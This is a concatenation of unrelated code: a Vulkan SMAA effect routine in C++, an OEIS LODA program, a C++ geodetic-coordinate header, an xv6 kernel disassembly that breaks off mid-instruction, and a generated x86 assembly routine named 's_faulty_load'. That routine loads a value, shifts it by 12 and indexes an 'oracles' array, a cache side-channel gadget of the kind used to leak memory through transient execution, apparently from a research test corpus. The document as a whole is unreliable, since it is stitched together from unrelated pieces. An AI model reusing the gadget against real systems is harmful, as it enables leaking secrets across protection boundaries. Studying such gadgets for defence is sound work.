std::vector<VkImageView>(inputImageViews.size(), areaImageView), std::vector<VkImageView>(inputImageViews.size(), searchImageView), blendImageViews}; imageDescriptorSets = allocateAndWriteImageSamplerDescriptorSets(pLogicalDevice, descriptorPool, imageSamplerDescriptorSetLayout, std::vector<VkSampler>(imageViewsVector.size(),sampler), imageViewsVector); edgeFramebuffers = createFramebuffers(pLogicalDevice, unormRenderPass, imageExtent, {edgeImageViews}); blendFramebuffers = createFramebuffers(pLogicalDevice, unormRenderPass, imageExtent, {blendImageViews}); neignborFramebuffers = createFramebuffers(pLogicalDevice, renderPass, imageExtent, {outputImageViews}); } void SmaaEffect::applyEffect(uint32_t imageIndex, VkCommandBuffer commandBuffer) { std::cout << "applying smaa effect" << commandBuffer << std::endl; //Used to make the Image accessable by the shader VkImageMemoryBarrier memoryBarrier; memoryBarrier.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_BARRIER; memoryBarrier.pNext = nullptr; memoryBarrier.srcAccessMask = VK_ACCESS_MEMORY_WRITE_BIT; memoryBarrier.dstAccessMask = VK_ACCESS_SHADER_READ_BIT; memoryBarrier.oldLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; memoryBarrier.newLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL; memoryBarrier.srcQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED; memoryBarrier.dstQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED; memoryBarrier.image = inputImages[imageIndex]; memoryBarrier.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; memoryBarrier.subresourceRange.baseMipLevel = 0; memoryBarrier.subresourceRange.levelCount = 1; memoryBarrier.subresourceRange.baseArrayLayer = 0; memoryBarrier.subresourceRange.layerCount = 1; //Reverses the first Barrier VkImageMemoryBarrier secondBarrier; secondBarrier.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_BARRIER; secondBarrier.pNext = nullptr; secondBarrier.srcAccessMask = VK_ACCESS_SHADER_READ_BIT; secondBarrier.dstAccessMask = 0; secondBarrier.oldLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL; secondBarrier.newLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; secondBarrier.srcQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED; secondBarrier.dstQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED; secondBarrier.image = inputImages[imageIndex]; secondBarrier.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; secondBarrier.subresourceRange.baseMipLevel = 0; secondBarrier.subresourceRange.levelCount = 1; secondBarrier.subresourceRange.baseArrayLayer = 0; secondBarrier.subresourceRange.layerCount = 1; pLogicalDevice->vkd.CmdPipelineBarrier(commandBuffer,VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT, VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT,0,0, nullptr,0, nullptr,1, &memoryBarrier); std::cout << "after the first pipeline barrier" << std::endl; VkRenderPassBeginInfo renderPassBeginInfo; renderPassBeginInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassBeginInfo.pNext = nullptr; renderPassBeginInfo.renderPass = unormRenderPass; renderPassBeginInfo.framebuffer = edgeFramebuffers[imageIndex]; renderPassBeginInfo.renderArea.offset = {0,0}; renderPassBeginInfo.renderArea.extent = imageExtent; VkClearValue clearValue = {0.0f, 0.0f, 0.0f, 1.0f}; renderPassBeginInfo.clearValueCount = 1; renderPassBeginInfo.pClearValues = &clearValue; //edge renderPass std::cout << "before beginn edge renderpass" << std::endl; pLogicalDevice->vkd.CmdBeginRenderPass(commandBuffer,&renderPassBeginInfo,VK_SUBPASS_CONTENTS_INLINE); std::cout << "after beginn renderpass" << std::endl; pLogicalDevice->vkd.CmdBindDescriptorSets(commandBuffer,VK_PIPELINE_BIND_POINT_GRAPHICS,pipelineLayout,0,1,&(imageDescriptorSets[imageIndex]),0,nullptr); std::cout << "after binding image sampler" << std::endl; pLogicalDevice->vkd.CmdBindPipeline(commandBuffer,VK_PIPELINE_BIND_POINT_GRAPHICS,edgePipeline); std::cout << "after bind pipeliene" << std::endl; pLogicalDevice->vkd.CmdDraw(commandBuffer, 3, 1, 0, 0); std::cout << "after draw" << std::endl; pLogicalDevice->vkd.CmdEndRenderPass(commandBuffer); std::cout << "after end renderpass" << std::endl; memoryBarrier.image = edgeImages[imageIndex]; renderPassBeginInfo.framebuffer = blendFramebuffers[imageIndex]; //blend renderPass pLogicalDevice->vkd.CmdPipelineBarrier(commandBuffer,VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT, VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT,0,0, nullptr,0, nullptr,1, &memoryBarrier); std::cout << "after the first pipeline barrier" << std::endl; std::cout << "before beginn blend renderpass" << std::endl; pLogicalDevice->vkd.CmdBeginRenderPass(commandBuffer,&renderPassBeginInfo,VK_SUBPASS_CONTENTS_INLINE); std::cout << "after beginn renderpass" << std::endl; pLogicalDevice->vkd.CmdBindPipeline(commandBuffer,VK_PIPELINE_BIND_POINT_GRAPHICS,blendPipeline); std::cout << "after bind pipeliene" << std::endl; pLogicalDevice->vkd.CmdDraw(commandBuffer, 3, 1, 0, 0); std::cout << "after draw" << std::endl; pLogicalDevice->vkd.CmdEndRenderPass(commandBuffer); std::cout << "after end renderpass" << std::endl; memoryBarrier.image = blendImages[imageIndex]; renderPassBeginInfo.framebuffer = neignborFramebuffers[imageIndex]; renderPassBeginInfo.renderPass = renderPass; //neighbor renderPass pLogicalDevice->vkd.CmdPipelineBarrier(commandBuffer,VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT, VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT,0,0, nullptr,0, nullptr,1, &memoryBarrier); std::cout << "after the first pipeline barrier" << std::endl; std::cout << "before beginn neighbor renderpass" << std::endl; pLogicalDevice->vkd.CmdBeginRenderPass(commandBuffer,&renderPassBeginInfo,VK_SUBPASS_CONTENTS_INLINE); std::cout << "after beginn renderpass" << std::endl; pLogicalDevice->vkd.CmdBindPipeline(commandBuffer,VK_PIPELINE_BIND_POINT_GRAPHICS,neighborPipeline); std::cout << "after bind pipeliene" << std::endl; pLogicalDevice->vkd.CmdDraw(commandBuffer, 3, 1, 0, 0); std::cout << "after draw" << std::endl; pLogicalDevice->vkd.CmdEndRenderPass(commandBuffer); std::cout << "after end renderpass" << std::endl; pLogicalDevice->vkd.CmdPipelineBarrier(commandBuffer,VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT, VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT,0,0, nullptr,0, nullptr,1, &secondBarrier); std::cout << "after the second pipeline barrier" << std::endl; } SmaaEffect::~SmaaEffect() { std::cout << "destroying smaa effect " << this << std::endl; pLogicalDevice->vkd.DestroyPipeline(pLogicalDevice->device, edgePipeline, nullptr); pLogicalDevice->vkd.DestroyPipeline(pLogicalDevice->device, blendPipeline, nullptr); pLogicalDevice->vkd.DestroyPipeline(pLogicalDevice->device, neighborPipeline, nullptr); pLogicalDevice->vkd.DestroyPipelineLayout(pLogicalDevice->device, pipelineLayout, nullptr); pLogicalDevice->vkd.DestroyRenderPass(pLogicalDevice->device, renderPass, nullptr); pLogicalDevice->vkd.DestroyRenderPass(pLogicalDevice->device, unormRenderPass, nullptr); pLogicalDevice->vkd.DestroyDescriptorSetLayout(pLogicalDevice->device, imageSamplerDescriptorSetLayout, nullptr); pLogicalDevice->vkd.DestroyShaderModule(pLogicalDevice->device, edgeVertexModule, nullptr); pLogicalDevice->vkd.DestroyShaderModule(pLogicalDevice->device, edgeFragmentModule, nullptr); pLogicalDevice->vkd.DestroyShaderModule(pLogicalDevice->device, blendVertexModule, nullptr); pLogicalDevice->vkd.DestroyShaderModule(pLogicalDevice->device, blendFragmentModule, nullptr); pLogicalDevice->vkd.DestroyShaderModule(pLogicalDevice->device, neighborVertexModule, nullptr); pLogicalDevice->vkd.DestroyShaderModule(pLogicalDevice->device, neignborFragmentModule, nullptr); pLogicalDevice->vkd.DestroyDescriptorPool(pLogicalDevice->device, descriptorPool, nullptr); pLogicalDevice->vkd.FreeMemory(pLogicalDevice->device, imageMemory, nullptr); pLogicalDevice->vkd.FreeMemory(pLogicalDevice->device, areaMemory, nullptr); pLogicalDevice->vkd.FreeMemory(pLogicalDevice->device, searchMemory, nullptr); for(unsigned int i=0;i<edgeFramebuffers.size();i++) { pLogicalDevice->vkd.DestroyFramebuffer(pLogicalDevice->device, edgeFramebuffers[i], nullptr); pLogicalDevice->vkd.DestroyFramebuffer(pLogicalDevice->device, blendFramebuffers[i], nullptr); pLogicalDevice->vkd.DestroyFramebuffer(pLogicalDevice->device, neignborFramebuffers[i], nullptr); pLogicalDevice->vkd.DestroyImageView(pLogicalDevice->device, inputImageViews[i], nullptr); pLogicalDevice->vkd.DestroyImageView(pLogicalDevice->device, edgeImageViews[i], nullptr); pLogicalDevice->vkd.DestroyImageView(pLogicalDevice->device, blendImageViews[i], nullptr); pLogicalDevice->vkd.DestroyImageView(pLogicalDevice->device, outputImageViews[i], nullptr); pLogicalDevice->vkd.DestroyImage(pLogicalDevice->device, edgeImages[i], nullptr); pLogicalDevice->vkd.DestroyImage(pLogicalDevice->device, blendImages[i], nullptr); } std::cout << "after DestroyImageView" << std::endl; pLogicalDevice->vkd.DestroyImageView(pLogicalDevice->device, areaImageView, nullptr); pLogicalDevice->vkd.DestroyImage(pLogicalDevice->device, areaImage, nullptr); pLogicalDevice->vkd.DestroyImageView(pLogicalDevice->device, searchImageView, nullptr); pLogicalDevice->vkd.DestroyImage(pLogicalDevice->device, searchImage, nullptr); pLogicalDevice->vkd.DestroySampler(pLogicalDevice->device, sampler, nullptr); } }
; A007681: a(n) = (2*n+1)^2*n!. ; Submitted by Jon Maiga ; 1,9,50,294,1944,14520,121680,1134000,11652480,130999680,1600300800,21115987200,299376000000,4539498163200,73316942899200,1256675067648000,22784918188032000,435717099417600000 mov $1,$0 mul $0,3 add $0,1 sub $0,$1 pow $0,2 lpb $1 mul $0,$1 sub $1,1 lpe
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %rbp push %rcx push %rdi push %rdx lea addresses_WT_ht+0xf706, %rdi nop nop nop nop nop sub $7023, %rcx movb (%rdi), %r8b nop nop nop nop dec %rdi lea addresses_UC_ht+0x233a, %r13 nop dec %r11 movb $0x61, (%r13) nop nop nop nop nop cmp $3052, %r11 lea addresses_normal_ht+0x12f8c, %rdi and $2704, %rbp mov $0x6162636465666768, %r8 movq %r8, %xmm4 movups %xmm4, (%rdi) nop and %rcx, %rcx lea addresses_WT_ht+0xbd0c, %r13 nop and %rbp, %rbp vmovups (%r13), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %rdx nop nop nop nop nop xor %r11, %r11 lea addresses_normal_ht+0x11c2e, %rdx nop nop nop nop nop add $9838, %rbp movw $0x6162, (%rdx) nop nop add $58726, %rbp lea addresses_A_ht+0x6b8c, %r11 nop nop nop nop sub %r8, %r8 movl $0x61626364, (%r11) nop nop cmp %r13, %r13 lea addresses_normal_ht+0x473c, %rcx nop nop cmp $47437, %r8 movups (%rcx), %xmm3 vpextrq $0, %xmm3, %r11 nop nop add $34051, %r13 lea addresses_D_ht+0x16264, %r11 nop and %rbp, %rbp mov $0x6162636465666768, %rdi movq %rdi, %xmm2 movups %xmm2, (%r11) nop nop xor $60552, %rdi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %rax push %rbx push %rsi // Store mov $0xc8c, %r10 nop nop sub %rsi, %rsi movw $0x5152, (%r10) nop nop nop nop and %r14, %r14 // Load lea addresses_US+0xe48c, %rsi nop add %r13, %r13 movups (%rsi), %xmm6 vpextrq $1, %xmm6, %rax nop nop nop nop add $46247, %r13 // Store lea addresses_WC+0x156c, %rax add $3224, %r11 movl $0x51525354, (%rax) nop nop and $32163, %r13 // Store lea addresses_UC+0xdb8c, %rbx nop nop nop nop xor $4569, %rsi mov $0x5152535455565758, %r13 movq %r13, %xmm5 movups %xmm5, (%rbx) cmp %rsi, %rsi // Faulty Load lea addresses_US+0xe48c, %rax nop nop and %r10, %r10 mov (%rax), %bx lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rbx pop %rax pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_P', 'size': 2, 'AVXalign': False}} {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}} {'00': 16863} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
/* * Copyright 2013 Daniel Warner <contact@danrw.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef COORDGEODETIC_H_ #define COORDGEODETIC_H_ #include "Util.hpp" #include <string> #include <sstream> #include <iomanip> namespace LSGP4 { /** * @brief Stores a geodetic location (latitude, longitude, altitude). * * Internally the values are stored in radians and kilometres. */ struct CoordGeodetic { public: /** * Default constructor */ CoordGeodetic() : latitude(0.0), longitude(0.0), altitude(0.0) { } /** * Constructor * @param[in] lat the latitude (degrees by default) * @param[in] lon the longitude (degrees by default) * @param[in] alt the altitude in kilometers * @param[in] is_radians whether the latitude/longitude is in radians */ CoordGeodetic( double lat, double lon, double alt, bool is_radians = false) { if (is_radians) { latitude = lat; longitude = lon; } else { latitude = Util::DegreesToRadians(lat); longitude = Util::DegreesToRadians(lon); } altitude = alt; } /** * Copy constructor * @param[in] geo object to copy from */ CoordGeodetic(const CoordGeodetic &geo) { latitude = geo.latitude; longitude = geo.longitude; altitude = geo.altitude; } /** * Assignment operator * @param[in] geo object to copy from */ CoordGeodetic &operator=(const CoordGeodetic &geo) { if (this != &geo) { latitude = geo.latitude; longitude = geo.longitude; altitude = geo.altitude; } return *this; } /** * Dump this object to a string * @returns string */ std::string ToString() const { std::stringstream ss; ss << std::right << std::fixed << std::setprecision(3); ss << "Lat: " << std::setw(8) << Util::RadiansToDegrees(latitude); ss << ", Lon: " << std::setw(8) << Util::RadiansToDegrees(longitude); ss << ", Alt: " << std::setw(10) << altitude; return ss.str(); } /** latitude in radians (-PI >= latitude < PI) */ double latitude; /** latitude in radians (-PI/2 >= latitude <= PI/2) */ double longitude; /** altitude in kilometers */ double altitude; }; }; /** * Dump a Coordgeodetic to a stream * @param[in,out] strm stream to output to * @param[in] g the CoordGeodetic to print */ inline std::ostream &operator<<(std::ostream &strm, const LSGP4::CoordGeodetic &g) { return strm << g.ToString(); } #endif
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc d0 b5 10 80 mov $0x8010b5d0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 60 2e 10 80 mov $0x80102e60,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb 14 b6 10 80 mov $0x8010b614,%ebx struct buf head; } bcache; void binit(void) { 80100049: 83 ec 0c sub $0xc,%esp struct buf *b; initlock(&bcache.lock, "bcache"); 8010004c: 68 20 6f 10 80 push $0x80106f20 80100051: 68 e0 b5 10 80 push $0x8010b5e0 80100056: e8 85 41 00 00 call 801041e0 <initlock> //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; 8010005b: c7 05 2c fd 10 80 dc movl $0x8010fcdc,0x8010fd2c 80100062: fc 10 80 bcache.head.next = &bcache.head; 80100065: c7 05 30 fd 10 80 dc movl $0x8010fcdc,0x8010fd30 8010006c: fc 10 80 8010006f: 83 c4 10 add $0x10,%esp 80100072: ba dc fc 10 80 mov $0x8010fcdc,%edx 80100077: eb 09 jmp 80100082 <binit+0x42> 80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 c3 mov %eax,%ebx for(b = bcache.buf; b < bcache.buf+NBUF; b++){ b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); 80100082: 8d 43 0c lea 0xc(%ebx),%eax 80100085: 83 ec 08 sub $0x8,%esp //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ b->next = bcache.head.next; 80100088: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008b: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100092: 68 27 6f 10 80 push $0x80106f27 80100097: 50 push %eax 80100098: e8 13 40 00 00 call 801040b0 <initsleeplock> bcache.head.next->prev = b; 8010009d: a1 30 fd 10 80 mov 0x8010fd30,%eax //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a2: 83 c4 10 add $0x10,%esp 801000a5: 89 da mov %ebx,%edx b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; 801000a7: 89 58 50 mov %ebx,0x50(%eax) //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; bcache.head.next = b; 801000b0: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30 //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000b6: 3d dc fc 10 80 cmp $0x8010fcdc,%eax 801000bb: 75 c3 jne 80100080 <binit+0x40> b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; bcache.head.next = b; } } 801000bd: 8b 5d fc mov -0x4(%ebp),%ebx 801000c0: c9 leave 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 18 sub $0x18,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi 801000dc: 8b 7d 0c mov 0xc(%ebp),%edi static struct buf* bget(uint dev, uint blockno) { struct buf *b; acquire(&bcache.lock); 801000df: 68 e0 b5 10 80 push $0x8010b5e0 801000e4: e8 57 42 00 00 call 80104340 <acquire> // Is the block already cached? for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000e9: 8b 1d 30 fd 10 80 mov 0x8010fd30,%ebx 801000ef: 83 c4 10 add $0x10,%esp 801000f2: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx 801000f8: 75 11 jne 8010010b <bread+0x3b> 801000fa: eb 24 jmp 80100120 <bread+0x50> 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } // Not cached; recycle an unused buffer. // Even if refcnt==0, B_DIRTY indicates a buffer is in use // because log.c has modified it but not yet committed it. for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 2c fd 10 80 mov 0x8010fd2c,%ebx 80100126: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 60 jmp 80100190 <bread+0xc0> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx 80100139: 74 55 je 80100190 <bread+0xc0> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: 83 ec 0c sub $0xc,%esp 8010015d: 68 e0 b5 10 80 push $0x8010b5e0 80100162: e8 89 42 00 00 call 801043f0 <release> acquiresleep(&b->lock); 80100167: 8d 43 0c lea 0xc(%ebx),%eax 8010016a: 89 04 24 mov %eax,(%esp) 8010016d: e8 7e 3f 00 00 call 801040f0 <acquiresleep> 80100172: 83 c4 10 add $0x10,%esp bread(uint dev, uint blockno) { struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100175: f6 03 02 testb $0x2,(%ebx) 80100178: 75 0c jne 80100186 <bread+0xb6> iderw(b); 8010017a: 83 ec 0c sub $0xc,%esp 8010017d: 53 push 